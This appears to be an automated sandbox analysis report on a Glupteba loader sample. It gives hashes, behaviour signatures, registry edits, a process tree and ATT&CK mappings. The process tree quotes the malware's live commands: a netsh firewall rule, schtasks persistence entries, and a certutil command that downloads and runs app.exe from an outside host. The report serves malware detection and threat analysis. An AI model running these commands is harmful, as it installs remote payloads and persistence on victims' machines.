glupteba | 40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7

General

Target

40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7.exe
Size

3.8MB
MD5

456956a16926bc06109621bd076043fa
SHA1

5d4ab3a741a607055c2e181be350be1191483fc3
SHA256

40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7
SHA512

ccc1dc220e2a58bd82b8ae26d15c56098a9dda460f2f1b58ebd5bce0bdfafbd60fe8e5773bbbcb5134a94d97c1c44c724d855c76590accbf567ad66cf1da16f3

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 8 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4292-131-0x0000000004AC0000-0x00000000052C2000-memory.dmp	family_glupteba
behavioral2/memory/4292-132-0x0000000000400000-0x00000000025C7000-memory.dmp	family_glupteba
behavioral2/memory/1032-138-0x0000000000400000-0x00000000025C7000-memory.dmp	family_glupteba
behavioral2/memory/4292-142-0x0000000000400000-0x00000000025C7000-memory.dmp	family_glupteba
behavioral2/memory/1032-143-0x0000000000400000-0x00000000025C7000-memory.dmp	family_glupteba
behavioral2/memory/1016-145-0x0000000004B00000-0x0000000005302000-memory.dmp	family_glupteba
behavioral2/memory/1016-146-0x0000000000400000-0x00000000025C7000-memory.dmp	family_glupteba
behavioral2/memory/1016-147-0x0000000000400000-0x00000000025C7000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 3144 created 4292	3144	svchost.exe	40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7.exe
PID 3144 created 1016	3144	svchost.exe	csrss.exe
PID 3144 created 1016	3144	svchost.exe	csrss.exe
PID 3144 created 1016	3144	svchost.exe	csrss.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

1016 csrss.exe
1584 patch.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

32 netsh.exe

pid	process
1016	csrss.exe
1584	patch.exe

pid	process
32	netsh.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SolitaryThunder = "\"C:\\Windows\\rss\\csrss.exe\""	40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

4656 bcdedit.exe

pid	process
4656	bcdedit.exe

Drops file in Windows directory 2 IoCs

Processes:

40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7.exe

description	ioc	process
File opened for modification	C:\Windows\rss	40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7.exe
File created	C:\Windows\rss\csrss.exe	40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7.exe

Program crash 2 IoCs

Processes:

WerFault.exeWerFault.exe

pid	pid_target	process	target process
2040	4292	WerFault.exe	40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7.exe
3700	1032	WerFault.exe	40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

4344 schtasks.exe
3668 schtasks.exe

pid	process
4344	schtasks.exe
3668	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2042 = "Eastern Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1891 = "Russia TZ 3 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1722 = "Libya Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2771 = "Omsk Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2391 = "Aleutian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3052 = "Qyzylorda Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1932 = "Russia TZ 11 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2451 = "Saint Pierre Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2841 = "Saratov Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1911 = "Russia TZ 10 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2431 = "Cuba Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2181 = "Astrakhan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2411 = "Marquesas Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2792 = "Novosibirsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1861 = "Russia TZ 6 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2452 = "Saint Pierre Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1842 = "Russia TZ 4 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2572 = "Turks and Caicos Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2872 = "Magallanes Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2631 = "Norfolk Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1971 = "Belarus Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1871 = "Russia TZ 7 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2532 = "Chatham Islands Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2942 = "Sao Tome Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2392 = "Aleutian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time"	csrss.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7.exe40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7.execsrss.exe

pid	process
4292	40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7.exe
4292	40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7.exe
1032	40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7.exe
1032	40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7.exe
1016	csrss.exe
1016	csrss.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	4292	40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7.exe
Token: SeImpersonatePrivilege	4292	40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7.exe
Token: SeTcbPrivilege	3144	svchost.exe
Token: SeTcbPrivilege	3144	svchost.exe
Token: SeBackupPrivilege	3144	svchost.exe
Token: SeRestorePrivilege	3144	svchost.exe
Token: SeBackupPrivilege	3144	svchost.exe
Token: SeRestorePrivilege	3144	svchost.exe
Token: SeSystemEnvironmentPrivilege	1016	csrss.exe
Token: SeBackupPrivilege	3144	svchost.exe
Token: SeRestorePrivilege	3144	svchost.exe
Token: SeBackupPrivilege	3144	svchost.exe
Token: SeRestorePrivilege	3144	svchost.exe
Token: SeBackupPrivilege	3144	svchost.exe
Token: SeRestorePrivilege	3144	svchost.exe
Token: SeBackupPrivilege	3144	svchost.exe
Token: SeRestorePrivilege	3144	svchost.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

svchost.exe40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7.execmd.execsrss.exe

description	pid	process	target process
PID 3144 wrote to memory of 1032	3144	svchost.exe	40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7.exe
PID 3144 wrote to memory of 1032	3144	svchost.exe	40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7.exe
PID 3144 wrote to memory of 1032	3144	svchost.exe	40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7.exe
PID 1032 wrote to memory of 3716	1032	40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7.exe	cmd.exe
PID 1032 wrote to memory of 3716	1032	40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7.exe	cmd.exe
PID 3716 wrote to memory of 32	3716	cmd.exe	netsh.exe
PID 3716 wrote to memory of 32	3716	cmd.exe	netsh.exe
PID 1032 wrote to memory of 1016	1032	40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7.exe	csrss.exe
PID 1032 wrote to memory of 1016	1032	40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7.exe	csrss.exe
PID 1032 wrote to memory of 1016	1032	40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7.exe	csrss.exe
PID 3144 wrote to memory of 4344	3144	svchost.exe	schtasks.exe
PID 3144 wrote to memory of 4344	3144	svchost.exe	schtasks.exe
PID 3144 wrote to memory of 3668	3144	svchost.exe	schtasks.exe
PID 3144 wrote to memory of 3668	3144	svchost.exe	schtasks.exe
PID 3144 wrote to memory of 1584	3144	svchost.exe	patch.exe
PID 3144 wrote to memory of 1584	3144	svchost.exe	patch.exe
PID 1016 wrote to memory of 4656	1016	csrss.exe	bcdedit.exe
PID 1016 wrote to memory of 4656	1016	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7.exe
"C:\Users\Admin\AppData\Local\Temp\40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4292

C:\Users\Admin\AppData\Local\Temp\40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7.exe
"C:\Users\Admin\AppData\Local\Temp\40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7.exe"
2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1032

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:3716

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
PID:32

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1016

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:4344

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:3668

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
PID:1584

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:4656

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1032 -s 680
3⤵
- Program crash
PID:3700

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4292 -s 624
2⤵
- Program crash
PID:2040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3144

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 4292 -ip 4292
1⤵
PID:780

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 1032 -ip 1032
1⤵
PID:3784

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
456956a16926bc06109621bd076043fa

SHA1
5d4ab3a741a607055c2e181be350be1191483fc3

SHA256
40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7

SHA512
ccc1dc220e2a58bd82b8ae26d15c56098a9dda460f2f1b58ebd5bce0bdfafbd60fe8e5773bbbcb5134a94d97c1c44c724d855c76590accbf567ad66cf1da16f3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
456956a16926bc06109621bd076043fa

SHA1
5d4ab3a741a607055c2e181be350be1191483fc3

SHA256
40db28b28e80338262e91d1030b06296abb39ef833495657cc3586c73a0cadb7

SHA512
ccc1dc220e2a58bd82b8ae26d15c56098a9dda460f2f1b58ebd5bce0bdfafbd60fe8e5773bbbcb5134a94d97c1c44c724d855c76590accbf567ad66cf1da16f3

Download Submit
memory/32-136-0x0000000000000000-mapping.dmp

Download
memory/1016-145-0x0000000004B00000-0x0000000005302000-memory.dmp

Filesize
8.0MB

Download
memory/1016-147-0x0000000000400000-0x00000000025C7000-memory.dmp

Filesize
33.8MB

Download
memory/1016-146-0x0000000000400000-0x00000000025C7000-memory.dmp

Filesize
33.8MB

Download
memory/1016-144-0x0000000004600000-0x00000000049A7000-memory.dmp

Filesize
3.7MB

Download
memory/1016-139-0x0000000000000000-mapping.dmp

Download
memory/1032-134-0x0000000000000000-mapping.dmp

Download
memory/1032-138-0x0000000000400000-0x00000000025C7000-memory.dmp

Filesize
33.8MB

Download
memory/1032-143-0x0000000000400000-0x00000000025C7000-memory.dmp

Filesize
33.8MB

Download
memory/1032-137-0x0000000004491000-0x0000000004838000-memory.dmp

Filesize
3.7MB

Download
memory/1584-150-0x0000000000000000-mapping.dmp

Download
memory/3668-149-0x0000000000000000-mapping.dmp

Download
memory/3716-135-0x0000000000000000-mapping.dmp

Download
memory/4292-142-0x0000000000400000-0x00000000025C7000-memory.dmp

Filesize
33.8MB

Download
memory/4292-130-0x000000000470C000-0x0000000004AB3000-memory.dmp

Filesize
3.7MB

Download
memory/4292-132-0x0000000000400000-0x00000000025C7000-memory.dmp

Filesize
33.8MB

Download
memory/4292-131-0x0000000004AC0000-0x00000000052C2000-memory.dmp

Filesize
8.0MB

Download
memory/4292-133-0x000000000470C000-0x0000000004AB3000-memory.dmp

Filesize
3.7MB

Download
memory/4344-148-0x0000000000000000-mapping.dmp

Download
memory/4656-152-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads